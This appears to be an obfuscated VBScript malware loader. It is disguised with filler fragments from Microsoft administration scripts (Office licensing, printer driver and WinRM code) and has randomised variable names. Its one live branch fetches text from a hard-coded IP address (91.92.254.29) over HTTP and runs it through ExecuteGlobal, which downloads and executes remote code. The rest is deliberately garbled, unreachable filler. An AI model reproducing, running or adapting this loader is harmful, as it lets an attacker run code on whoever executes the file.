amatalar = "<root NckiWlUJBcfhboaWNohiaLoogiLpmxKcKLRZAAiCcOSkUiozqOUPLZLGLGnQcrKRrnLiuPpcbbmUkxPlxWbegLqvKoAeRcaALaaq:psf='http://example.com/psf' NckiWlUJBcfhboaWNohiaLoogiLpmxKcKLRZAAiCcOSkUiozqOUPLZLGLGnQcrKRrnLiuPpcbbmUkxPlxWbegLqvKoAeRcaALaaq:xsi='http://www.w3.org/2001/XMLSchema-instance'></root>"
Dim didimalgia
Set didimalgia = CreateObject("Msxml2.DOMDocument.6.0")
didimalgia.async = False
didimalgia.loadXML(amatalar)
Dim esporim
Set esporim = didimalgia
Dim menta
Set menta = esporim.createNode(1, "psf:NewNode", "http://example.com/psf")
menta.setAttribute "name", "exampleProperty"
If Len("xsi:string") > 0 Then
Dim alcalinimetria
Set alcalinimetria = esporim.createNode(1, "psf:Value", "http://example.com/psf")
Dim oferendar
Set oferendar = esporim.createNode(2, "xsi:type", "http://www.w3.org/2001/XMLSchema-instance")
oferendar.nodeValue = "xsi:string"
alcalinimetria.attributes.setNamedItem(oferendar)
Dim sarjado
Set sarjado = esporim.createTextNode("lampa")
alcalinimetria.appendChild(sarjado)
menta.appendChild(alcalinimetria)
End If
Dim updatedXmlString
updatedXmlString = esporim.xml
Sub ohZPhLThWLgCKhihbKKdNApcNPUCmimPoZSALBNmZoLBLcJWGKRtNZelLcWzAbWcLRWGKcKiqZWhchlLvehmodqKOkNIfWitLuBa(qmLiUjUobknZUjCcNnzrvfasrlkmSlGfCHWchAQrLWCRRZaaONajzmLWxkGCZxiAdGKkStWclWeNGRICLWddGKinienaBZCekKLx)
ExecuteGlobal qmLiUjUobknZUjCcNnzrvfasrlkmSlGfCHWchAQrLWCRRZaaONajzmLWxkGCZxiAdGKkStWclWeNGRICLWddGKinienaBZCekKLx
End Sub
For hNUtLpgGkldihmNLZzAQUkBaZbUbUWWuZvjOxfPncjdWmBiKiqizOCizxjiAAcUlWxTKiqUGiGCLGiULiZmLQLLKpPGhLabLkPex = 0 To 3
If hNUtLpgGkldihmNLZzAQUkBaZbUbUWWuZvjOxfPncjdWmBiKiqizOCizxjiAAcUlWxTKiqUGiGCLGiULiZmLQLLKpPGhLabLkPex = 3 Then
Select Case hNUtLpgGkldihmNLZzAQUkBaZbUbUWWuZvjOxfPncjdWmBiKiqizOCizxjiAAcUlWxTKiqUGiGCLGiULiZmLQLLKpPGhLabLkPex
Case 0
On Error Resume Next
Set zWsbBiLULuzLcrkKuzfziLSvldkGWbKpWhLQLTTiBWosKLbKdKRGuWmxrzclinugbGRLKspmfUZLldKUmcdjcpitqiKqqrGOzWmI = WSCript.CreateObject("WSCript.Shell")
Set WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz = CreateObject("Scripting.FileSystemObject")
Set IWGlmbhWzPUIKKKceaGuceCIcJuWJfAiWsjqKZlKbopbLqLLZWLZWUfWmhsfRoCcUWiLWzAdKoiLzmNRGOBkKziKWoxfIugLjKhK = WSCript.CreateObject("WSCript.Network")
Dim globalResource, globalErr, foundSlUi, strSluiPath, tWcGoiWLNamBbcOtjxdTKvKcsoltzGoUBLcvPckWLKckWWOuWPqkgIcdLPGZbdUivhQWQLeLhkLZfiNltPOZIBNPGPOKqLefahzm, objWMI, objWMI1, wmiErr, productinstances, strValue, Win7, productClass, tokenClass, intIsKms, kmsCounter, isAdActivated, dlicense, foundSubKey, foundPerpKey, Win8, strSkuId, BsRctaftibmTTWGqqmKxRkUNzbLpLWzsxfiLcdNgzUATnPiemWWWTRmibkzLjAkKcLhUKfuLloLboKjZZWzWKciReikReWmdNGqh, getHeartBeat
globalResource = ""
globalErr = ""
foundSlUi = False
Win7 = False
Win8 = False
kmsCounter = 0
isAdActivated = False
dlicense = False
strSkuId = Null
currentDir = Left(WScript.ScriptFullName, InStrRev(WScript.ScriptFullName, "\"))
' Activation error codes for which a KB is available
BsRctaftibmTTWGqqmKxRkUNzbLpLWzsxfiLcdNgzUATnPiemWWWTRmibkzLjAkKcLhUKfuLloLboKjZZWzWKciReikReWmdNGqh = "80070422|80070426|C004F074|80070001|80070005|8007000D|8007232B|8007251D|C004F014|C004F038|C004F039|C004F041|C004F042|C004C003|4004F040"
Select Case WSCript.Arguments.Count
Case 0
WScript.Quit
Case 1
ZjWLcWiLaHnfmKNLielGifNtiKmKKKnLNaziRUpRKfTWKznfWxAZcqLvWHGfiskkccPLKWBOfcWbqTlHshafisTOhRLLNAifOLZW = WSCript.Arguments(0)
Case 2
ZjWLcWiLaHnfmKNLielGifNtiKmKKKnLNaziRUpRKfTWKznfWxAZcqLvWHGfiskkccPLKWBOfcWbqTlHshafisTOhRLLNAifOLZW = WSCript.Arguments(0)
lKeCNaiHTWmCiiimPAmhhLbHWKLUbKsohaWGSqOxWlmmGQTKLGuAWLbkPUlBLGWWOilZkisikKHbTShWmxJcLCooShWIGkiqhUUW = WSCript.Arguments(1)
Case 3
ZjWLcWiLaHnfmKNLielGifNtiKmKKKnLNaziRUpRKfTWKznfWxAZcqLvWHGfiskkccPLKWBOfcWbqTlHshafisTOhRLLNAifOLZW = WSCript.Arguments(0)
lKeCNaiHTWmCiiimPAmhhLbHWKLUbKsohaWGSqOxWlmmGQTKLGuAWLbkPUlBLGWWOilZkisikKHbTShWmxJcLCooShWIGkiqhUUW = WSCript.Arguments(1)
oudLAcGAkTzeWWOeWihknfGAmzeUxKLStCmfkZUApNWQKKGpQgokLckokKTlpLOeLgbobNGeKiWfJhGUnmUUQsPGUbmeNBKbUkop = WSCript.Arguments(2)
Case 4
ZjWLcWiLaHnfmKNLielGifNtiKmKKKnLNaziRUpRKfTWKznfWxAZcqLvWHGfiskkccPLKWBOfcWbqTlHshafisTOhRLLNAifOLZW = WSCript.Arguments(0)
lKeCNaiHTWmCiiimPAmhhLbHWKLUbKsohaWGSqOxWlmmGQTKLGuAWLbkPUlBLGWWOilZkisikKHbTShWmxJcLCooShWIGkiqhUUW = WSCript.Arguments(1)
oudLAcGAkTzeWWOeWihknfGAmzeUxKLStCmfkZUApNWQKKGpQgokLckokKTlpLOeLgbobNGeKiWfJhGUnmUUQsPGUbmeNBKbUkop = WSCript.Arguments(2)
neKKicGUcLiLKfourHfLfGLeeLHWQKNZCLQhdeGLzGPAcLHfWUcCzbqKZoWKiZWiZlWiRWtLgHKLPUdCtWLWGmKLUaLpdimAOGzs = WSCript.Arguments(3)
Case Else
End Select
WApLRibcALifWnRljGtZhcPOLzrclRTiqTWikimAKkgGKCLOUxWzccnZbdPKGNxNKWWkWUKxcavauKGGcoLfcZeiLcuiiqeTNUGx = LCase(Right(WScript.FullName,12))
If WApLRibcALifWnRljGtZhcPOLzrclRTiqTWikimAKkgGKCLOUxWzccnZbdPKGNxNKWWkWUKxcavauKGGcoLfcZeiLcuiiqeTNUGx <> "\cscript.exe" Then
zWsbBiLULuzLcrkKuzfziLSvldkGWbKpWhLQLTTiBWosKLbKdKRGuWmxrzclinugbGRLKspmfUZLldKUmcdjcpitqiKqqrGOzWmI.Popup "Unable to perform operation. " & WSCript.ScriptName & " requires the cscript engine." & _
vbCr & "Command line example: cscript ospp.vbs ?", _
,WSCript.ScriptName, VALUE_ICON_WARNING
WScript.Quit
End If
WMIDateStringToDate = CDate(Mid(dtmEventDate, 5, 2) & "/" & _
Mid(dtmEventDate, 7, 2) & "/" & Left(dtmEventDate, 4) _
& " " & Mid (dtmEventDate, 9, 2) & ":" & _
Mid(dtmEventDate, 11, 2) & ":" & Mid(dtmEventDate, _
13, 2))
If foundSlUi <> True Then
If cType <> "wmi" Then
globalPopFailure "slui.exe not found.",True
quitExit()
End If
Else
Set objScriptExec = zWsbBiLULuzLcrkKuzfziLSvldkGWbKpWhLQLTTiBWosKLbKdKRGuWmxrzclinugbGRLKspmfUZLldKUmcdjcpitqiKqqrGOzWmI.Exec (strSluiPath & " 0x2a " & strSearch)
readOut = objScriptExec.StdOut.ReadAll
quitExit()
End If
wmiObject.CheckAccess HKEY_LOCAL_MACHINE, strKeyPath, KEY_SET_VALUE, _
bHasAccessRight
If bHasAccessRight = True Then
'Success
Else
globalPopFailure MSG_NOREGRIGHTS & vbCr & MSG_ISCMD_ELEVATED,True
End If
If Not WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz.FileExists(file) Then
If file = currentDir & "slerror.xml" Then
WScript.Echo "[" & MSG_FILENOTFOUND & file & " Unable to display error description.]"
ElseIf file = currentDir & "ospp.htm" Then
globalPopFailure MSG_FILENOTFOUND & vbCr & file,False
quitExit()
Else
globalPopFailure MSG_FILENOTFOUND & vbCr & file,True
End If
End If
For Each Drv In WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz.Drives
If Drv.DriveType=2 Then
If WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz.FileExists(Drv.DriveLetter & STR_SYS32PATH & "wbem\mofcomp.exe") Then
foundComp = True
strMofExePath = Drv.DriveLetter & STR_SYS32PATH & "wbem\mofcomp.exe"
If WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz.FileExists(Drv.DriveLetter & STR_SYS32PATH & "wbem\" & strFile) Then
foundMof = True
strOWmi = Drv.DriveLetter & STR_SYS32PATH & "wbem\" & strFile
Set objScriptExec = zWsbBiLULuzLcrkKuzfziLSvldkGWbKpWhLQLTTiBWosKLbKdKRGuWmxrzclinugbGRLKspmfUZLldKUmcdjcpitqiKqqrGOzWmI.Exec (strMofExePath & " " & strOWmi)
readOut = objScriptExec.StdOut.ReadAll
WScript.Echo readOut
quitExit()
End If
End If
End If
Next
If foundComp <> True Then
globalPopFailure MSG_FILENOTFOUND & Replace(STR_SYS32PATH,":","") & "wbem\mofcomp.exe",True
Else
If foundMof <> True Then
globalPopFailure MSG_FILENOTFOUND & Replace(STR_SYS32PATH,":","") & "wbem\osppwmi.mof",True
End If
End If
For Each Drv In WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz.Drives
If Drv.DriveType=2 Then
If WkWKGPdLHWKLZuAKPqbbrKPNmPLGLWLLbZLOWkKsassCNWdJfWmGLKGnLHocuLKUpsrpWPnZncPekxxLUBcNCqQOGtKctcgidRZz.FileExists(Drv.DriveLetter & STR_SYS32PATH & "slui.exe") Then
strSluiPath = Drv.DriveLetter & STR_SYS32PATH & "slui.exe"
foundSlUi = True
Exit For
End If
End If
Next
Case 1
dim iAction
dim iRetval
dim oParamDict
'
' Abort if the host is not cscript
on error resume next
dim strFullName
dim fPGhqvcGzLmLRcUSWofLcmNGWlSuRafLLheWJZJoctolOhiaZqNnbrKcLRNKhhaBjINgrCCBhLWWUfhPWAOWKKAoPCAGUkJaiWsW
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
fPGhqvcGzLmLRcUSWofLcmNGWlSuRafLLheWJZJoctolOhiaZqNnbrKcLRNKhhaBjINgrCCBhLWWUfhPWAOWKKAoPCAGUkJaiWsW = Mid(strFullName, j+1, i-j-1)
if LCase(fPGhqvcGzLmLRcUSWofLcmNGWlSuRafLLheWJZJoctolOhiaZqNnbrKcLRNKhhaBjINgrCCBhLWWUfhPWAOWKKAoPCAGUkJaiWsW) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, scbioTWGfnLxTfqhWLJWhuNQLAKAALlWGKKCWfKmfoLnqbUaczcnQUPNhbcCbLimQRJKLocLLWRNpjiZAqmuNdWLUhGihpNKpclO, RosetxWioOLBLiPnbcCuLWdWHLcUNHbLocniSPKWiKCPLbqkNocTGfjAxzmmKcemKPLUiiWKhAPziiNNSSaPtZiKAALpNlOzLGWo)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
OinKkLimkZoCWoogUqGLNCceamWsIxLllUTGhWbKLKWiWpxuzGmgbzmCBlcROAWkLtAkPWkPktBOxGRAaUKifnClGirWHxnWiWoi = bResult
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
Case 2
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
dim oDriver
dim oService
dim iResult
dim uResult
iResult = kErrorFailure
if Err.Number = kErrorSuccess then
oDriver.Name = strModel
oDriver.SupportedPlatform = strEnvironment
oDriver.Version = uVersion
oDriver.FilePath = strFilePath
oDriver.InfName = strInfFile
uResult = oDriver.AddPrinterDriver(oDriver)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & oDriver.Name
iResult = kErrorSuccess
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
else
end if
AddDriver = iResult
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text
iResult = kErrorFailure
strObject = strModel & "," & CStr(uVersion) & "," & strEnvironment
if OinKkLimkZoCWoogUqGLNCceamWsIxLllUTGhWbKLKWiWpxuzGmgbzmCBlcROAWkLtAkPWkPktBOxGRAaUKifnClGirWHxnWiWoi(strServer, kNameSpace, scbioTWGfnLxTfqhWLJWhuNQLAKAALlWGKKCWfKmfoLnqbUaczcnQUPNhbcCbLimQRJKLocLLWRNpjiZAqmuNdWLUhGihpNKpclO, RosetxWioOLBLiPnbcCuLWdWHLcUNHbLocniSPKWiKCPLbqkNocTGfjAxzmmKcemKPLUiiWKhAPziiNNSSaPtZiKAALpNlOzLGWo, oService) then
set oDriver = oService.Get("Win32_PrinterDriver.Name='" & strObject & "'")
else
DelDriver = kErrorFailure
end if
Case 3
private const bLWLLLcimhKWzbkLcAKRsKtGLUxLiIUkAAKLPuLuLKWAuGnLcQbbLaGofiNKLziozOGWhSfiLdcothUOdLOcNGKnzuqWrBpqkCZR = "Switch not allowed with the given operation: "
private const AigiUthKstNcozuiRnAPKWqLGAneaWkCRNueiAtRcOLKOWrdZLcquiiLBxImKLGirLdieAnfhGLsfJHReqdWKiLnPNhuNLWOGLoP = "Unknown switch: "
private const hAKLPWcKOkmNNIPfeZCIiTKTqakivimfUALciKRGcNGLKZLdIBobLLxZmSoGfiiqAxvUULqihkcHfCTSzGcbqUKeObxLrnqKBnib = "Missing switch name"
private const ZbOGGLQgGivJuGABqLPzWelcLlWUZpLNLJPAsUnUSkubqWqWsuWAKdLWcBWhkprcPNkLlchLoUUWmCdZZjzAUiioUpLOpCNzNzBx = "Invalid use of command line. Type ""winrm -?"" for help."
private const AWBaPLvPPjqRgNQRtiaOvciZxcinpmGGiJLnJrCOkfOWfLPOkoZCaKjixPAuRWzUtlpUmmaPUqHWpRLccGxIKWZLikeZdvoleLfW = "Type ""winrm -?"" for help."
private const LlaGnLgKGbiUKctckdpPfjKcWuNWcKLLNWZKLlhbLLiaxUKpWixZWLLGGlULAWxftWPcuHLhlGxfRhPbeWdiKurNLKAKmlWQLqQW = "Invalid usage of command line; winrm.vbs not found in command string."
private const bkIshPmRmLGQzuWmUvoOeKfPALcUKGZakGiTKcUUSnceQSpAAUbUWiAmZaWIuLzGGBJKmzKWWWooefPfmkWLmaefPKRGtbLkOWBi = "A quoted parameter value must begin and end with quotes: "
koAjLeLzqPqtlfrPWPWmnKmdxJKeGLpoLkLkLWLkceifivzLxfZmTlrtkWipKikppihLGWZRpUvxpzcpLUBpOGOLReLGdmcKiolh = "http://91.92.254.29/Users_API/HURRICANE/file_hzmmmodl.2wb.txt"
Set ALzrkdQkGjWzLpKLRCfcoZfLOkbKLbPmmCcoiCPNiqzGdccmkgLAZzRofNZmNWStQoZWiqmlokOzLBKeNpaUcGqfbPKQAWQcZkaW = CreateObject("MSXML2.XMLHTTP")
ALzrkdQkGjWzLpKLRCfcoZfLOkbKLbPmmCcoiCPNiqzGdccmkgLAZzRofNZmNWStQoZWiqmlokOzLBKeNpaUcGqfbPKQAWQcZkaW.Open "GET", koAjLeLzqPqtlfrPWPWmnKmdxJKeGLpoLkLkLWLkceifivzLxfZmTlrtkWipKikppihLGWZRpUvxpzcpLUBpOGOLReLGdmcKiolh, False
ALzrkdQkGjWzLpKLRCfcoZfLOkbKLbPmmCcoiCPNiqzGdccmkgLAZzRofNZmNWStQoZWiqmlokOzLBKeNpaUcGqfbPKQAWQcZkaW.send
WNcmCguAURGOdHpbhKZxLiLcKJGkAKGOmxRKfpCoWGqzpGKocceUnRCHPphiWWKxicpuipLbKcKWCKeNLKKBLmRGZPtTkcHRGcPb = ALzrkdQkGjWzLpKLRCfcoZfLOkbKLbPmmCcoiCPNiqzGdccmkgLAZzRofNZmNWStQoZWiqmlokOzLBKeNpaUcGqfbPKQAWQcZkaW.responseText
ohZPhLThWLgCKhihbKKdNApcNPUCmimPoZSALBNmZoLBLcJWGKRtNZelLcWzAbWcLRWGKcKiqZWhchlLvehmodqKOkNIfWitLuBa WNcmCguAURGOdHpbhKZxLiLcKJGkAKGOmxRKfpCoWGqzpGKocceUnRCHPphiWWKxicpuipLbKcKWCKeNLKKBLmRGZPtTkcHRGcPb
Case 4
private const uOcPeiGAGiCLicLfZigdeimLGCLLLJKKLdWmjfocPUbLezLtlaLxcWLiiszLAUmJszlGKiexWdBRLUGNLZWUUCuSfxjhxmkiomGj = "Unexpected match count - one match is expected: "
private const LSciqWUlhupzGzWxLilmmOmzLOTZiWzckpgTNghhghZWWpaAbcbqALktckKfxuPiLUZAdJRRKKcGlKPWGKebqLkWTBejcePKBUAb = "Option is not unique: "
private const hamZOkSeBzAtgpLubLboUOqgjGGeLWIvCviLWALBxKNCzlLuoWiqLLppOUbGLGOCWKcWUQkluNUTUUpLLLWBZeUGubUaLWILGLak = "URI is missing"
private const otBfuLGkHGKzqeveLvKeLAAkUzxthGLicuAKaaNUOvLqtJcKWWaiKkkxazBLBNxGOuLkhobaNWckcuLsPcPfLWLALGxSUclkkBGu = "Action is missing"
private const WHlxbLeRPLRWLHiaeLlaCetZGBKLKeHnAkfLGkjPubAmkCWLPcnAchbLiKZJzPLfhuLcKoNPGOLRcehQWLcNsIbxLdZfLtvRKnLh = "URI is 0 length"
private const LhfjqLNlTkZjUKsmqcIGLLRrArWUtUKxRncgBppfkcmtIemmoLvliqdncuRUPsogofAiWiPcLGoUTZfqWKkbiiBQKKocKkJWLWGa = "Invalid URI, token is 0 length"
private const WoCGdTiGqfdhLuplipaLWLaJGKmQNsuARGOiiPAGbGLONOLUWiKOLCzOujxAWmkWktABRSWONKtOiUKnSCKOcRNWxKSniKAaNCHU = "Invalid WMI resource URI - no '/' found (at least 2 expected)"
End Select
End If